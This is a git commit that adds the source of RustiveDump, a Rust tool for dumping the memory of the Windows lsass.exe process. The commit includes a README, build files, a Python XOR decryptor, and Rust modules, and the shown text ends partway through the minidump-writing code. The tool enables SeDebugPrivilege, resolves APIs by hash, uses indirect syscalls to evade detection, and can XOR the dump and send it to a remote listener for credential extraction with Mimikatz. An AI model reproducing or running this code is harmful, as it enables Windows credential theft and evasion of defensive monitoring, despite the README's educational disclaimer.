first commit

This commit is contained in:
safedv
2024-10-06 18:01:51 +02:00
commit 4f217f3372
29 changed files with 3798 additions and 0 deletions
+1
View File
@@ -0,0 +1 @@
/target
Generated
+25
View File
@@ -0,0 +1,25 @@
# This file is automatically @generated by Cargo.
# It is not intended for manual editing.
version = 3
[[package]]
name = "RustiveDump"
version = "0.1.0"
dependencies = [
"libc-print",
]
[[package]]
name = "libc"
version = "0.2.159"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "561d97a539a36e26a9a5fad1ea11a3039a67714694aaa379433e580854bc3dc5"
[[package]]
name = "libc-print"
version = "0.1.23"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "a4a660208db49e35faf57b37484350f1a61072f2a5becf0592af6015d9ddd4b0"
dependencies = [
"libc",
]
+23
View File
@@ -0,0 +1,23 @@
[package]
name = "RustiveDump"
version = "0.1.0"
edition = "2021"
authors = ["safedv"]
[dependencies]
libc-print = { version = "0.1.23", optional = true }
[profile.dev]
panic = "abort"
[profile.release]
panic = "abort"
opt-level = "s"
lto = true
[features]
default = []
xor = []
remote = []
lsasrv = []
verbose = ["dep:libc-print"]
+32
View File
@@ -0,0 +1,32 @@
[config]
skip_core_tasks = true
[env]
TARGET = "x86_64-pc-windows-gnu"
RUSTFLAGS = "-C link-arg=-nostdlib -C link-arg=-Wl,--gc-sections -C link-arg=-Wl,--subsystem,console -C link-arg=-nostartfiles -C link-arg=-Wl,-e_start"
FEATURES = ""
[tasks.default]
description = "Default task that builds the project."
dependencies = ["build"]
[tasks.build]
description = "Cleans, builds, and strips the project."
dependencies = ["clean", "cargo-build", "strip"]
[tasks.clean]
description = "Cleans the project and removes the binary file."
script = [
"cargo clean",
]
[tasks.cargo-build]
description = "Build the project using cargo with custom rustflags and features."
command = "cargo"
args = ["build", "--release", "--target", "${TARGET}", "--features", "${FEATURES}"]
env = { "RUSTFLAGS" = "${RUSTFLAGS}" }
[tasks.strip]
description = "Strips unnecessary sections from the binary."
command = "strip"
args = ["-s", "--strip-unneeded", "-x", "-X", "target/x86_64-pc-windows-gnu/release/RustiveDump.exe"]
+99
View File
@@ -0,0 +1,99 @@
## **RustiveDump**
**RustiveDump** is a Rust-based tool designed to dump the memory of the **lsass.exe** process using **only NT system calls**.
It creates a minimal minidump file from scratch, containing essential components like **SystemInfo**, **ModuleList**, and **Memory64List**, with support for **XOR encryption** and **remote transmission**.
This project is a personal learning experience, focusing on leveraging native Windows APIs for memory dumping and building a minimalistic minidump file entirely from the ground up.
## **Key Features**
1. **NT System Calls for Everything**
RustiveDump bypasses standard APIs and leverages NT system calls for all its operations.
2. **No-Std and CRT-Independent**:
RustiveDump is built using Rust's `no_std` feature, which removes reliance on Rust's standard library, and it's also **CRT library independent**. This resulting in a lean release build of only **18KB**.
3. **Indirect NT Syscalls**:
The tool uses indirect syscalls, retrieving system service numbers (SSN) with techniques like **Hells Gate**, **Halo's Gate**, and **Tartarus' Gate**.
4. **Lean Memory Dump**:
RustiveDump generates a focused memory dump, containing only essential data (i.e., **SystemInfo**, **ModuleList**, and **Memory64List**), ensuring no bloated files—just enough to feed your memory analysis tools like **Mimikatz** or **Pypykatz**.
5. **XOR Encryption**:
RustiveDump can encrypt the dump file using XOR before saving or transmitting it, adding an extra layer of security to the dumped memory.
6. **Remote File Transmission**:
The dump file can be sent directly to a remote server using **winsock** APIs calls
7. **Verbose Mode**:
The verbose mode provides detailed logs of each step, which can be enabled during the build process.
## **How it works**
1. **Enable SeDebugPrivilege**:
RustiveDump uses `NtOpenProcessToken` and `NtAdjustPrivilegesToken` to enable **SeDebugPrivilege**, allowing access to protected processes like **lsass.exe**.
2. **LSASS Process Access**:
The tool locates the **lsass.exe** process by querying `NtQuerySystemInformation` to get a snapshot of active processes, and then opens a process handle using `NtOpenProcess` with the `PROCESS_QUERY_INFORMATION` and `PROCESS_VM_READ` access rights.
3. **Memory Regions Handling**:
RustiveDump scans through the memory regions of the process using `NtQueryVirtualMemory` and dumps committed and accessible memory using `NtReadVirtualMemory`.
4. **Module Information**:
RustiveDump retrieves a list of modules loaded by **lsass.exe** using `NtQueryInformationProcess` to extract the **ModuleList** from the remote PEB (Process Environment Block).
5. **Memory Dump Creation**:
The dump is saved locally using `NtCreateFile` and `NtWriteFile`, or sent to a remote server. If desired, the dump can also be encrypted with XOR before being saved or transmitted.
## **Build**
RustiveDump offers several configurable build options through **cargo make** to customize the behavior of the tool. You can enable features like **XOR encryption**, **remote file transmission** and **verbose logging**.
**Available Features:**
- **xor**: Encrypts the dump file using XOR encryption.
- **verbose**: Enables detailed logs for each step of the process.
- **remote**: Sends the dump file to a remote server via Winsock.
- **lsasrv**: Filters the memory dump to include only the `lsasrv.dll` module from **lsass.exe**.
### **Build Options**
To build RustiveDump with different combinations of features, use the following commands:
- **Basic build** (save dump locally without additional features):
```bash
cargo make
```
- **Build with specific features**
```bash
cargo make --env FEATURES=xor,remote,lsasrv,verbose
```
## **Memory Dump File Structure**
RustiveDump generates a minimalistic minidump file, including only the essential components for tools like **Mimikatz** and **Pypykatz**. The file consists of three core streams:
1. **SystemInfo Stream**: OS version and architecture details.
2. **ModuleList Stream**: Lists modules loaded in **lsass.exe**.
3. **Memory64List Stream**: Memory regions from **lsass.exe**.
For more details on the Minidump file structure, see: [Minidump (MDMP) format documentation](<https://github.com/libyal/libmdmp/blob/main/documentation/Minidump%20(MDMP)%20format.asciidoc>).
## Disclaimer
This project is intended **for educational and research purposes only**. RustiveDump is a minimalist memory dumper built for learning purposes. Use it responsibly, and remember, if you misuse it, thats on you—not me!
Always follow ethical guidelines and legal frameworks when doing security research (and, you know, just in general).
## **Credits**
- Inspired by [NativeDump](https://github.com/ricardojoserf/NativeDump). Thanks to the author for sharing their work.
## **Contributions**
Contributions are welcome! If you want to help improve RustiveDump or report bugs, feel free to open an issue or a pull request in the repository.
---
+55
View File
@@ -0,0 +1,55 @@
import sys
def decrypt_file(input_path, output_path, key):
"""
Reads the content of an encrypted file, applies XOR to decrypt the data,
and saves it to a new file.
Args:
input_path (str): Path to the encrypted file.
output_path (str): Path to save the decrypted file.
key (hex): The XOR key (hex) used for decryption.
Returns:
None
"""
try:
# Read the encrypted file data
with open(input_path, 'rb') as encrypted_file:
encrypted_data = encrypted_file.read()
# Apply XOR to decrypt the data
decrypted_data = bytes([byte ^ key for byte in encrypted_data])
# Write the decrypted data to the output file
with open(output_path, 'wb') as decrypted_file:
decrypted_file.write(decrypted_data)
print(f"File decrypted successfully! Saved to {output_path}")
except Exception as e:
print(f"Error decrypting file: {e}")
def main():
# Parse command line arguments
if len(sys.argv) < 3:
print(f"Usage: {sys.argv[0]} <input_file> <hex key> [output_file]")
sys.exit(1)
# Get the input file path
input_file_path = sys.argv[1]
# Convert the XOR key from hexadecimal string to int
xor_key = int(sys.argv[2], 16)
# Optionally get the output file path, default to "clear_output.dmp"
output_file_path = sys.argv[3] if len(sys.argv) > 3 else "out.dmp"
# Perform decryption
decrypt_file(input_file_path, output_file_path, xor_key)
if __name__ == "__main__":
main()
+110
View File
@@ -0,0 +1,110 @@
/// Sets the first `n` bytes of the block of memory pointed to by `s`
/// to the specified value `c` (interpreted as an unsigned char).
///
/// # Parameters
/// - `s`: A pointer to the block of memory to fill.
/// - `c`: The value to be set. Only the lower 8 bits of `c` are used.
/// - `n`: The number of bytes to be set to the value.
///
/// # Returns
/// A pointer to the memory area `s`.
#[no_mangle]
pub extern "C" fn memset(s: *mut u8, c: i32, n: usize) -> *mut u8 {
for i in 0..n {
unsafe { *s.add(i) = c as u8 };
}
s
}
/// Copies `n` bytes from memory area `src` to memory area `dest`.
/// The memory areas must not overlap.
///
/// # Parameters
/// - `dest`: A pointer to the destination array where the content is to be copied.
/// - `src`: A pointer to the source of data to be copied.
/// - `n`: The number of bytes to copy.
///
/// # Returns
/// A pointer to the destination `dest`.
#[no_mangle]
pub extern "C" fn memcpy(dest: *mut u8, src: *const u8, n: usize) -> *mut u8 {
for i in 0..n {
unsafe {
*dest.add(i) = *src.add(i);
}
}
dest
}
/// Copies `n` bytes from memory area `src` to memory area `dest`.
/// The memory areas may overlap.
///
/// # Parameters
/// - `dest`: A pointer to the destination array where the content is to be copied.
/// - `src`: A pointer to the source of data to be copied.
/// - `n`: The number of bytes to copy.
///
/// # Returns
/// A pointer to the destination `dest`.
#[no_mangle]
pub extern "C" fn memmove(dest: *mut u8, src: *const u8, n: usize) -> *mut u8 {
if src < dest as *const u8 {
for i in (0..n).rev() {
unsafe {
*dest.add(i) = *src.add(i);
}
}
} else {
for i in 0..n {
unsafe {
*dest.add(i) = *src.add(i);
}
}
}
dest
}
/// Compares the first `n` bytes of the memory areas `s1` and `s2`.
///
/// # Parameters
/// - `s1`: A pointer to the first memory area.
/// - `s2`: A pointer to the second memory area.
/// - `n`: The number of bytes to compare.
///
/// # Returns
/// An integer less than, equal to, or greater than zero if the first `n` bytes of `s1`
/// is found, respectively, to be less than, to match, or be greater than the first `n` bytes of `s2`.
#[no_mangle]
pub extern "C" fn memcmp(s1: *const u8, s2: *const u8, n: usize) -> i32 {
for i in 0..n {
let a = unsafe { *s1.add(i) };
let b = unsafe { *s2.add(i) };
if a != b {
return a as i32 - b as i32;
}
}
0
}
/// Computes the length of the string `s`, excluding the terminating null byte.
///
/// # Parameters
/// - `s`: A pointer to the null-terminated byte string to be examined.
///
/// # Returns
/// The number of bytes in the string pointed to by `s`, excluding the terminating null byte.
#[no_mangle]
pub extern "C" fn strlen(s: *const u8) -> usize {
let mut count = 0;
unsafe {
while *s.add(count) != 0 {
count += 1;
}
}
count
}
/// A static variable required by some environments to indicate floating-point usage.
/// This is a placeholder to ensure compatibility.
#[export_name = "_fltused"]
static _FLTUSED: i32 = 0;
+93
View File
@@ -0,0 +1,93 @@
use core::ffi::c_void;
use core::{
cell::UnsafeCell,
ptr::null_mut,
sync::atomic::{AtomicBool, Ordering},
};
use super::ldrapi::{ldr_function, ldr_module};
pub type WriteFile = unsafe extern "system" fn(
hFile: *mut c_void,
lpBuffer: *const u8,
nNumberOfBytesToWrite: u32,
lpNumberOfBytesWritten: *mut u32,
lpOverlapped: *mut c_void,
) -> i32;
#[repr(C)]
pub struct K32 {
pub write_file: WriteFile,
}
impl K32 {
pub fn new() -> Self {
K32 {
write_file: unsafe { core::mem::transmute(null_mut::<c_void>()) },
}
}
}
static INIT_K32: AtomicBool = AtomicBool::new(false);
pub static mut K32_G: UnsafeCell<Option<K32>> = UnsafeCell::new(None);
pub unsafe fn k32() -> &'static K32 {
ensure_initialized();
return K32_G.get().as_ref().unwrap().as_ref().unwrap();
}
/// Function to ensure that initialization is performed if it hasn't been already.
fn ensure_initialized() {
unsafe {
if !INIT_K32.load(Ordering::Acquire) {
init_k32();
}
}
}
unsafe fn init_k32() {
if !INIT_K32.load(Ordering::Acquire) {
let mut k32 = K32::new();
// Resolve the base address of `kernel32.dll` using its hash (0x6ddb9555).
let kernel32_base = ldr_module(0x6ddb9555);
// Resolve the address of `WriteFile` function from `kernel32.dll` using its hash (0xf1d207d0).
let k_write_file_addr = ldr_function(kernel32_base, 0xf1d207d0);
// Cast the resolved address to a callable function of type `WriteFile`.
k32.write_file = core::mem::transmute(k_write_file_addr);
*K32_G.get() = Some(k32);
INIT_K32.store(true, Ordering::Release);
}
}
/// Global mutable instance of the agent.
/// Implements a low-level `_write` function that writes data to a file descriptor (typically `stdout` or `stderr`).
/// This function resolves the `WriteFile` function from `kernel32.dll` and uses it to perform the actual write.
#[no_mangle]
extern "C" fn _write(_fd: i32, buf: *const u8, count: usize) -> isize {
unsafe {
let mut written: u32 = 0; // Variable to store the number of bytes written.
let handle = -11i32 as u32; // File handle for `stdout` or `stderr` (often -11 represents `stdout` on Windows).
// Call `WriteFile` with the handle, buffer, and count of bytes to write.
let ntstatus = (k32().write_file)(
handle as *mut c_void, // File handle
buf, // Buffer containing the data to write
count as u32, // Number of bytes to write
&mut written, // Pointer to the variable that will receive the number of bytes written
core::ptr::null_mut(), // No overlapped structure
);
// Return the number of bytes written or an error code (if `ntstatus` is negative).
if ntstatus < 0 {
ntstatus as isize
} else {
written as isize
}
}
}
+128
View File
@@ -0,0 +1,128 @@
use super::utils::{dbj2_hash, get_cstr_len};
use crate::ntapi::def::{
find_peb, ImageDosHeader, ImageExportDirectory, ImageNtHeaders, LoaderDataTableEntry,
PebLoaderData, IMAGE_DOS_SIGNATURE, IMAGE_NT_SIGNATURE,
};
use core::ptr::null_mut;
/// Retrieves the NT headers from the base address of a module.
///
/// # Arguments
/// * `base_addr` - The base address of the module.
///
/// Returns a pointer to `ImageNtHeaders` or null if the headers are invalid.
#[cfg(target_arch = "x86_64")]
pub unsafe fn get_nt_headers(base_addr: *mut u8) -> *mut ImageNtHeaders {
let dos_header = base_addr as *mut ImageDosHeader;
// Check if the DOS signature is valid (MZ)
if (*dos_header).e_magic != IMAGE_DOS_SIGNATURE {
return null_mut();
}
// Calculate the address of NT headers
let nt_headers = (base_addr as isize + (*dos_header).e_lfanew as isize) as *mut ImageNtHeaders;
// Check if the NT signature is valid (PE\0\0)
if (*nt_headers).signature != IMAGE_NT_SIGNATURE as _ {
return null_mut();
}
nt_headers
}
/// Finds and returns the base address of a module by its hash.
///
/// # Arguments
/// * `module_hash` - The hash of the module name to locate.
///
/// Returns the base address of the module or null if not found.
pub unsafe fn ldr_module(module_hash: u32) -> *mut u8 {
let peb = find_peb(); // Retrieve the PEB (Process Environment Block)
if peb.is_null() {
return null_mut();
}
let peb_ldr_data_ptr = (*peb).loader_data as *mut PebLoaderData;
if peb_ldr_data_ptr.is_null() {
return null_mut();
}
// Start with the first module in the InLoadOrderModuleList
let mut module_list =
(*peb_ldr_data_ptr).in_load_order_module_list.flink as *mut LoaderDataTableEntry;
// Iterate through the list of loaded modules
while !(*module_list).dll_base.is_null() {
let dll_buffer_ptr = (*module_list).base_dll_name.buffer;
let dll_length = (*module_list).base_dll_name.length as usize;
// Create a slice from the DLL name
let dll_name_slice = core::slice::from_raw_parts(dll_buffer_ptr as *const u8, dll_length);
// Compare the hash of the DLL name with the provided hash
if module_hash == dbj2_hash(dll_name_slice) {
return (*module_list).dll_base as _; // Return the base address of the module if the hash matches
}
// Move to the next module in the list
module_list = (*module_list).in_load_order_links.flink as *mut LoaderDataTableEntry;
}
null_mut() // Return null if no matching module is found
}
/// Finds a function by its hash from the export directory of a module.
///
/// # Arguments
/// * `module_base` - The base address of the module.
/// * `function_hash` - The hash of the function name to locate.
///
/// Returns the function's address or null if not found.
pub unsafe fn ldr_function(module_base: *mut u8, function_hash: usize) -> *mut u8 {
let p_img_nt_headers = get_nt_headers(module_base); // Retrieve NT headers for the module
if p_img_nt_headers.is_null() {
return null_mut();
}
// Get the export directory from the NT headers
let data_directory = &(*p_img_nt_headers).optional_header.data_directory[0]; // Assuming IMAGE_DIRECTORY_ENTRY_EXPORT is 0
let export_directory =
(module_base.offset(data_directory.virtual_address as isize)) as *mut ImageExportDirectory;
if export_directory.is_null() {
return null_mut();
}
let number_of_functions = (*export_directory).number_of_functions;
let array_of_names =
module_base.offset((*export_directory).address_of_names as isize) as *const u32;
let array_of_addresses =
module_base.offset((*export_directory).address_of_functions as isize) as *const u32;
let array_of_ordinals =
module_base.offset((*export_directory).address_of_name_ordinals as isize) as *const u16;
// Create slices from the export directory arrays
let names = core::slice::from_raw_parts(array_of_names, number_of_functions as _);
let functions = core::slice::from_raw_parts(array_of_addresses, number_of_functions as _);
let ordinals = core::slice::from_raw_parts(array_of_ordinals, number_of_functions as _);
// Iterate through the export names to find the function matching the given hash
for i in 0..number_of_functions {
let name_addr = module_base.offset(names[i as usize] as isize) as *const i8;
let name_len = get_cstr_len(name_addr as _); // Get the length of the function name
let name_slice: &[u8] = core::slice::from_raw_parts(name_addr as _, name_len);
// Compare the hash of the function name with the provided hash
if function_hash as u32 == dbj2_hash(name_slice) {
// Retrieve the function's address by its ordinal
let ordinal = ordinals[i as usize] as usize;
return module_base.offset(functions[ordinal] as isize) as *mut u8;
}
}
null_mut() // Return null if the function is not found
}
+9
View File
@@ -0,0 +1,9 @@
pub mod crtapi;
pub mod ldrapi;
pub mod utils;
#[cfg(feature = "verbose")]
pub mod debug;
#[cfg(feature = "xor")]
pub mod xor;
+90
View File
@@ -0,0 +1,90 @@
#[cfg(not(feature = "remote"))]
use alloc::string::String;
#[cfg(not(feature = "remote"))]
use crate::ntapi::def::UnicodeString;
/// Computes the DJB2 hash for the given buffer
pub fn dbj2_hash(buffer: &[u8]) -> u32 {
let mut hsh: u32 = 5381;
let mut iter: usize = 0;
let mut cur: u8;
while iter < buffer.len() {
cur = buffer[iter];
if cur == 0 {
iter += 1;
continue;
}
if cur >= ('a' as u8) {
cur -= 0x20;
}
hsh = ((hsh << 5).wrapping_add(hsh)) + cur as u32;
iter += 1;
}
hsh
}
/// Calculates the length of a C-style null-terminated string.
pub fn get_cstr_len(pointer: *const char) -> usize {
let mut tmp: u64 = pointer as u64;
unsafe {
while *(tmp as *const u8) != 0 {
tmp += 1;
}
}
(tmp - pointer as u64) as _
}
pub fn string_length_w(string: *const u16) -> usize {
unsafe {
let mut string2 = string;
while !(*string2).is_null() {
string2 = string2.add(1);
}
string2.offset_from(string) as usize
}
}
// Utility function for checking null terminator for u8 and u16
trait IsNull {
fn is_null(&self) -> bool;
}
impl IsNull for u16 {
fn is_null(&self) -> bool {
*self == 0
}
}
#[cfg(not(feature = "remote"))]
pub fn unicodestring_to_string(unicode_string: &UnicodeString) -> Option<String> {
if unicode_string.length == 0 || unicode_string.buffer.is_null() {
return None;
}
let slice = unsafe {
core::slice::from_raw_parts(unicode_string.buffer, (unicode_string.length / 2) as usize)
};
String::from_utf16(slice).ok()
}
#[cfg(feature = "verbose")]
#[macro_export]
macro_rules! debug_println {
($($arg:tt)*) => ({
libc_println!($($arg)*);
});
}
#[cfg(not(feature = "verbose"))]
#[macro_export]
macro_rules! debug_println {
($($arg:tt)*) => {};
}
+6
View File
@@ -0,0 +1,6 @@
use alloc::vec::Vec;
/// Performs XOR operation on a Vec<u8> using a given key (u8).
pub fn xor_bytes(data: Vec<u8>, key: u8) -> Vec<u8> {
data.into_iter().map(|byte| byte ^ key).collect()
}
+108
View File
@@ -0,0 +1,108 @@
#[cfg(feature = "verbose")]
use libc_print::libc_println;
use core::ffi::c_void;
use alloc::{
string::{String, ToString},
vec::Vec,
};
use crate::{
debug_println,
mdfile::{MemoryRegion, ModuleInfo},
ntapi::{
def::{MEM_COMMIT, PAGE_NOACCESS},
memory::{query_memory_info, read_memory},
},
};
/// Traverses and dumps the memory regions of a process, storing the memory regions and the memory dump.
///
/// This function iterates through the memory space of a process, queries memory information,
/// reads the memory, and dumps it into the provided vectors.
pub unsafe fn dump_memory_regions(
process_handle: *mut c_void,
module_info_list: &mut Vec<ModuleInfo>,
memory64list: &mut Vec<MemoryRegion>,
memory_regions: &mut Vec<u8>,
) {
// Initialize variables for memory region traversal and dumping.
let mut memory_address: usize = 0; // Start memory address for dumping.
let max_memory_address: usize = 0x7FFF_FFFE_FFFF; // The maximum user-mode address.
let mut tmp_module_base_name = String::new(); // Auxiliary variable to store the module's base name.
let mut tmp_memory_region_size = 0usize; // To track the size of the memory regions.
// Loop through the process's memory space until the maximum address is reached.
while memory_address < max_memory_address {
// Query information about the current memory region.
if let Some(memory_info) = query_memory_info(process_handle, memory_address as *mut c_void)
{
// Check if the memory region is committed and accessible.
if memory_info.protect != PAGE_NOACCESS && memory_info.state == MEM_COMMIT {
// Try to match the current region with known modules based on their base addresses.
let matching_object = module_info_list
.iter_mut()
.find(|obj| obj.base_name == tmp_module_base_name);
// If the region size is 0x1000 and does not match a module, update the module info.
if memory_info.region_size == 0x1000
&& memory_info.base_address as usize
!= matching_object
.as_ref()
.map(|obj| obj.base_address)
.unwrap_or(0)
{
// If a module was found, update its region size.
if let Some(module) = matching_object {
module.region_size = tmp_memory_region_size;
}
// Update auxiliary name and size based on the current memory region.
tmp_module_base_name = module_info_list
.iter()
.find(|module| module.base_address == memory_info.base_address as usize)
.map(|module| module.base_name.clone())
.unwrap_or_else(|| "Unknown".to_string());
tmp_memory_region_size = memory_info.region_size as usize;
} else {
// Accumulate the region size.
tmp_memory_region_size += memory_info.region_size as usize;
}
// Read the memory region if it's valid and dump it.
if let Some(buffer) = read_memory(
process_handle as *mut c_void,
memory_info.base_address as *mut c_void,
memory_info.region_size as usize,
) {
// Append the read memory region to the dump.
memory_regions.extend_from_slice(&buffer);
// Add the memory region to the list of dumped regions.
memory64list.push(MemoryRegion {
base_address: memory_address,
region_size: memory_info.region_size as usize,
});
}
}
// Move to the next memory region by incrementing the memory address.
memory_address += memory_info.region_size as usize;
} else {
// If querying the memory fails, print an error message and break out of the loop.
debug_println!(
"[-] Failed to query memory at address: 0x{:X}",
memory_address
);
break;
}
}
// Update the region size of the last matched module.
if let Some(module) = module_info_list
.iter_mut()
.find(|module| module.base_name == tmp_module_base_name)
{
module.region_size = tmp_memory_region_size;
}
}
+76
View File
@@ -0,0 +1,76 @@
use alloc::vec::Vec;
use core::ffi::c_void;
use crate::{
dump::dump_memory_regions,
mdfile::{MemoryRegion, ModuleInfo},
ntapi::{
def::{PROCESS_QUERY_INFORMATION, PROCESS_VM_READ},
memory::get_modules_info,
privilege::enable_se_debug_privilege,
process::get_process_handle_by_name,
},
};
#[cfg(not(feature = "remote"))]
use crate::ntapi::file::save_file;
#[cfg(feature = "remote")]
use crate::remote::winsock::send_file;
/// Enables SeDebugPrivilege for the process.
/// This is necessary to access system processes like `lsass.exe`.
pub fn initialize_privileges() -> i32 {
unsafe { enable_se_debug_privilege() }
}
/// Retrieves a handle to the `lsass.exe` process using its DBJ2 hash.
/// Returns a handle to the process if successful.
pub fn get_process_handle() -> *mut c_void {
unsafe { get_process_handle_by_name(0x7384117b, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ) }
}
/// Retrieves the list of modules loaded in the process.
/// If the `lsasrv` feature is enabled, it only retrieves the `lsasrv.dll` module.
pub fn retrieve_modules(process_handle: *mut c_void) -> Vec<ModuleInfo> {
#[cfg(feature = "lsasrv")]
return get_modules_info(process_handle, Some(0xe477fbca));
#[cfg(not(feature = "lsasrv"))]
return get_modules_info(process_handle, None);
}
/// Dumps the memory regions of the specified process.
/// It stores the dumped regions in `memory64list` and the raw memory data in `memory_regions`.
pub fn perform_memory_dump(
process_handle: *mut c_void,
module_info_list: &mut Vec<ModuleInfo>,
) -> (Vec<MemoryRegion>, Vec<u8>) {
let mut memory64list: Vec<MemoryRegion> = Vec::new();
let mut memory_regions: Vec<u8> = Vec::new();
// Unsafe call to dump memory regions of the process.
unsafe {
dump_memory_regions(
process_handle,
module_info_list,
&mut memory64list,
&mut memory_regions,
);
}
(memory64list, memory_regions)
}
/// Sends the dump file to a remote host via a network connection.
/// Used when the `remote` feature is enabled.
#[cfg(feature = "remote")]
pub fn handle_output_file(file_bytes_to_use: Vec<u8>, listener_addr: &str, listener_port: u16) {
send_file(file_bytes_to_use.clone(), listener_addr, listener_port);
}
/// Saves the dump file locally to disk.
/// Used when the `remote` feature is not enabled.
#[cfg(not(feature = "remote"))]
pub fn handle_output_file(file_bytes_to_use: Vec<u8>, output_file_name: &str) {
save_file(file_bytes_to_use, output_file_name);
}
+108
View File
@@ -0,0 +1,108 @@
#![no_std]
#![no_main]
extern crate alloc;
use core::ptr::null_mut;
mod common;
mod dump;
mod helper;
mod mdfile;
mod ntapi;
#[cfg(feature = "remote")]
mod remote;
use helper::{
get_process_handle, handle_output_file, initialize_privileges, perform_memory_dump,
retrieve_modules,
};
use mdfile::generate_memory_dump_file;
use ntapi::{allocator::NtVirtualAlloc, def::OSVersionInfo, utils::rtl_get_version};
#[cfg(feature = "verbose")]
use libc_print::libc_println;
#[cfg(feature = "xor")]
use crate::common::xor::xor_bytes;
#[global_allocator]
static GLOBAL: NtVirtualAlloc = NtVirtualAlloc;
#[no_mangle]
pub extern "C" fn _start() {
#[cfg(not(feature = "remote"))]
let output_file_name = "rustive.dmp";
#[cfg(feature = "remote")]
let listener_addr = "localhost";
#[cfg(feature = "remote")]
let listener_port = 1717;
#[cfg(feature = "xor")]
let xor_key: u8 = 0x17;
// Enable SeDebugPrivilege.
if initialize_privileges() != 0 {
return;
}
// Retrieves the handle to the target process.
let process_handle = get_process_handle();
if process_handle == null_mut() {
debug_println!("[-] Failed to retrieve process handle. Exiting!");
return;
}
debug_println!("[+] Process handle: {:?}", process_handle);
// Retrieve the list of loaded modules in the target process.
let mut module_info_list = retrieve_modules(process_handle);
if module_info_list.is_empty() {
debug_println!("[-] No modules found. Exiting!");
return;
}
// Dumps the memory regions of the target process.
let (memory64list, memory_regions) = perform_memory_dump(process_handle, &mut module_info_list);
// Retrieve OS version information.
let mut version_info = OSVersionInfo::new();
let status = unsafe { rtl_get_version(&mut version_info) };
if status != 0 {
debug_println!(
"[-] Failed to retrieve OS Version from PEB. NTSTATUS: 0x{:X}",
status
);
}
// Generate the memory dump file.
let dump_file_bytes =
generate_memory_dump_file(version_info, module_info_list, memory64list, memory_regions);
if dump_file_bytes.is_empty() {
debug_println!("[-] Failed to create memory dump");
return;
}
// Prepare the memory dump file.
#[cfg(feature = "xor")]
let file_bytes_to_use = xor_bytes(dump_file_bytes.clone(), xor_key);
#[cfg(not(feature = "xor"))]
let file_bytes_to_use = dump_file_bytes.clone();
// Handle the output.
#[cfg(feature = "remote")]
handle_output_file(file_bytes_to_use, listener_addr, listener_port);
#[cfg(not(feature = "remote"))]
handle_output_file(file_bytes_to_use, output_file_name);
}
#[cfg(not(test))]
use core::panic::PanicInfo;
#[cfg(not(test))]
#[panic_handler]
fn panic(_info: &PanicInfo) -> ! {
loop {}
}
+158
View File
@@ -0,0 +1,158 @@
#[cfg(feature = "verbose")]
use libc_print::libc_println;
use alloc::{string::String, vec::Vec};
use crate::{debug_println, ntapi::def::OSVersionInfo};
// Struct for holding information about a module (DLL), including its base name,
// full path, base address in memory, and the size of the memory region it occupies.
pub struct ModuleInfo {
pub base_name: String,
pub full_dll_name: String,
pub base_address: usize,
pub region_size: usize,
}
// Struct to represent a memory region, storing the base address and region size.
pub struct MemoryRegion {
pub base_address: usize,
pub region_size: usize,
}
// Function that generates a memory dump file in a custom format.
// It takes the OS version, list of module information, memory regions, and memory dump data as input.
pub fn generate_memory_dump_file(
os_version: OSVersionInfo,
module_info_list: Vec<ModuleInfo>,
memory64list: Vec<MemoryRegion>,
regions_memdump: Vec<u8>,
) -> Vec<u8> {
// Calculate the size of the ModuleList stream.
let number_modules = module_info_list.len();
let mut modulelist_size = 4; // Starts with 4 bytes for the number of modules.
modulelist_size += 108 * number_modules; // Each module takes 108 bytes for basic information.
// Add the size of the full path names for each module.
for module in &module_info_list {
let module_fullpath_len = module.full_dll_name.len();
modulelist_size += (module_fullpath_len * 2) + 8; // Each path is encoded in UTF-16 (2 bytes per character).
}
// Calculate the offset and size for the Memory64List stream.
let mem64list_offset = modulelist_size + 0x7c; // 0x7c is a constant offset before the ModuleList stream starts.
let mem64list_size = 16 + 16 * memory64list.len(); // Memory64List contains 16 bytes per memory region entry.
let offset_memory_regions = mem64list_offset + mem64list_size; // The actual memory dump data comes after Memory64List.
// Debug prints to show calculated values if verbose mode is enabled.
debug_println!("[+] Total number of modules: {}", number_modules);
debug_println!("[+] ModuleListStream size: {}", modulelist_size);
debug_println!("[+] Mem64List offset: {}", mem64list_offset);
debug_println!("[+] Mem64List size: {}", mem64list_size);
debug_println!("[+] Regions memory dump size: {}", regions_memdump.len());
debug_println!("[+] Number of memory regions: {}", memory64list.len());
// **Header section for the dump file**
let mut header: Vec<u8> = Vec::new();
header.extend(b"MDMP"); // Add the signature "MDMP".
header.extend(&[0x93, 0xa7]); // Version information.
header.extend(&[0x00, 0x00]);
header.extend(&[0x03, 0x00, 0x00, 0x00]); // Header size.
header.extend(&[0x20, 0x00, 0x00, 0x00]); // Reserved space in the header.
let mut new_vec = Vec::new();
new_vec.resize(32 - header.len(), 0); // Pad the header to 32 bytes.
header.extend(&new_vec);
// **Stream Directory**: Specifies the types and offsets of the data streams (ModuleList, Memory64List, etc.).
let mut stream_directory: Vec<u8> = Vec::new();
stream_directory.extend(&[0x04, 0x00, 0x00, 0x00]); // Type of stream: ModuleList.
stream_directory.extend(&(modulelist_size as u32).to_le_bytes()); // ModuleList size.
stream_directory.extend(&[0x7c, 0x00, 0x00, 0x00]); // ModuleList offset.
stream_directory.extend(&[0x07, 0x00, 0x00, 0x00]); // Type of stream: SystemInfo.
stream_directory.extend(&[0x38, 0x00, 0x00, 0x00]); // Size of SystemInfo stream.
stream_directory.extend(&[0x44, 0x00, 0x00, 0x00]); // Offset of SystemInfo stream.
stream_directory.extend(&[0x09, 0x00, 0x00, 0x00]); // Type of stream: Memory64List.
stream_directory.extend(&(mem64list_size as u32).to_le_bytes()); // Memory64List size.
stream_directory.extend(&(mem64list_offset as u32).to_le_bytes()); // Memory64List offset.
// **SystemInfo stream**: Contains basic information about the OS version.
let major_version = os_version.dw_major_version;
let minor_version = os_version.dw_minor_version;
let build_number = os_version.dw_build_number;
let platform_id = os_version.dw_platform_id;
let csd_version = " ".encode_utf16().collect::<Vec<u16>>(); // CSDVersion is encoded in UTF-16.
let mut systeminfo_stream: Vec<u8> = Vec::new();
systeminfo_stream.extend(&9u16.to_le_bytes()); // Processor architecture.
let mut new_vec = Vec::new();
new_vec.resize(6, 0); // Padding.
systeminfo_stream.extend(&new_vec);
systeminfo_stream.extend(&major_version.to_le_bytes()); // OS major version.
systeminfo_stream.extend(&minor_version.to_le_bytes()); // OS minor version.
systeminfo_stream.extend(&build_number.to_le_bytes()); // OS build number.
